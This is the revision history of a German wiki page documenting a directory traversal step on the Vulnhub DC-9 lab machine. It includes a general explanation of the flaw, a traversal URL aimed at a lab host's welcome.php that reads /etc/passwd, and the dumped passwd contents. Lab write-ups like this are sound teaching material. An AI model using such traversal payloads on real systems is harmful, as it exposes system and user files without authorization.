Vulnhub dc-9 Directory Traversal - Versionsgeschichte

Thomas.will am 9. März 2023 um 09:44 Uhr

2023-03-09T09:44:06Z

Thomas.will: /* Methoden wie man auf seiten Zugreifen kann */

2023-03-09T09:42:03Z

Methoden wie man auf seiten Zugreifen kann

Thomas.will: Der Seiteninhalt wurde durch einen anderen Text ersetzt: „=Die Startseite= *Scheinbar will die Seite den Inhalt einer anderen Seite laden. 700px =Methoden wie man auf s…“

2023-03-09T09:39:50Z

Der Seiteninhalt wurde durch einen anderen Text ersetzt: „=Die Startseite= *Scheinbar will die Seite den Inhalt einer anderen Seite laden. 700px =Methoden wie man auf s…“

Thomas.will: /* Methoden wie man auf seiten Zugreifen kann */

2023-03-09T09:38:58Z

Methoden wie man auf seiten Zugreifen kann

Thomas.will am 9. März 2023 um 09:37 Uhr

2023-03-09T09:37:25Z

Thomas.will: Die Seite wurde neu angelegt: „=Die Startseite= *Scheinbar will die Seite den Inhalt einer anderen Seite laden. 700px“

2023-03-09T09:36:30Z

Die Seite wurde neu angelegt: „=Die Startseite= *Scheinbar will die Seite den Inhalt einer anderen Seite laden. 700px“

Neue Seite

=Die Startseite=
*Scheinbar will die Seite den Inhalt einer anderen Seite laden.
[[Datei:Dc-9-34.png|700px]]

← Nächstältere Version		Version vom 9. März 2023, 09:44 Uhr
Zeile 1:		Zeile 1:
		+	=Was ist das?=
		+	Als Directory Traversal (oder auch Forceful Browsing) bezeichnet man eine Sicherheitslücke in einem Webserver oder einer Webanwendung, bei der durch Eingabe von URLs auf Dateien und Verzeichnisse zugegriffen werden kann, die dafür eigentlich nicht vorgesehen waren. Mögliche Ziele sind Dateien mit sensiblen Daten wie Adressdaten, Kreditkartennummern oder auch Passwörtern.
		+	=Details=
		+	Normalerweise sollte von außen nicht auf Dateien eines Webservers außerhalb des Web-Verzeichnisses oder dessen Unterverzeichnisse zugegriffen werden können. Bei einem Directory-Traversal-Angriff versucht ein Angreifer nun mittels manipulierter Pfadangaben auf Dateien außerhalb dieser Verzeichnisse zuzugreifen.
		+
		+	Grundlegend für diesen Angriff ist, dass man sich mit der Angabe von ../ in der Verzeichnisstruktur eine Ebene nach oben beziehungsweise mit / zur Wurzel der Verzeichnisstruktur bewegt.
		+	=Durchführung=
		+	Durch Analyse der Webanwendung versucht der Angreifer, Informationen zu gewinnen, wie Parameter und aufgerufene URLs ausgewertet werden. Dies können sowohl dynamische Formulardaten, die ungenügend geprüft werden, als auch statische Dokumente sein.
		+
	=Die Startseite=		=Die Startseite=
	*Scheinbar will die Seite den Inhalt einer anderen Seite laden.		*Scheinbar will die Seite den Inhalt einer anderen Seite laden.

@@ Zeile 2: / Zeile 2: @@
 *Scheinbar will die Seite den Inhalt einer anderen Seite laden.
 [[Datei:Dc-9-34.png|700px]]
-=Methoden wie man auf seiten Zugreifen kann=
+=Directory Traversal=
+*Wir probieren aus ob wir ausserhalb vom DocumentRoot auf Dateinen zugreifen können.
 *http://10.0.10.58/welcome.php?file=../../../../../../etc/passwd
 [[Datei:Dc-9-35.png|700px]]

← Nächstältere Version		Version vom 9. März 2023, 09:39 Uhr
Zeile 5:		Zeile 5:

	*http://10.0.10.58/welcome.php?file=../../../../../../etc/passwd		*http://10.0.10.58/welcome.php?file=../../../../../../etc/passwd
−	~~<pre>~~	+	[[Datei:Dc-9-35.png\|700px]]
−	~~File does not exist~~
−	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
−	~~</pre>~~

← Nächstältere Version		Version vom 9. März 2023, 09:38 Uhr
Zeile 3:		Zeile 3:
	[[Datei:Dc-9-34.png\|700px]]		[[Datei:Dc-9-34.png\|700px]]
	=Methoden wie man auf seiten Zugreifen kann=		=Methoden wie man auf seiten Zugreifen kann=
		+
		+	*http://10.0.10.58/welcome.php?file=../../../../../../etc/passwd
		+	<pre>
		+	File does not exist
		+	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
		+	</pre>

← Nächstältere Version		Version vom 9. März 2023, 09:37 Uhr
Zeile 2:		Zeile 2:
	*Scheinbar will die Seite den Inhalt einer anderen Seite laden.		*Scheinbar will die Seite den Inhalt einer anderen Seite laden.
	[[Datei:Dc-9-34.png\|700px]]		[[Datei:Dc-9-34.png\|700px]]
		+	=Methoden wie man auf seiten Zugreifen kann=